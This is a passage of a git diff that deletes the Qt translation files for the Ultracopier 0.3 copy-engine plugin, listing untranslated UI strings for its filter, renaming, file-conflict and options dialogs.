- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="218"/>
- <location filename="../../scanFileOrFolder.cpp" line="282"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="228"/>
- <location filename="../../scanFileOrFolder.cpp" line="292"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="326"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="328"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/Languages/zh/translation.ts b/plugins/CopyEngine/Ultracopier-0.3/Languages/zh/translation.ts
deleted file mode 100644
index 9a215b1..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/Languages/zh/translation.ts
+++ /dev/null
@@ -1,795 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="356"/>
- <location filename="../../factory.cpp" line="393"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1162"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1169"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1185"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1201"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1210"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1216"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1263"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1269"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="59"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="311"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="321"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="626"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="257"/>
- <location filename="../../copyEngine.cpp" line="275"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="286"/>
- <location filename="../../copyEngine.cpp" line="304"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="511"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="772"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
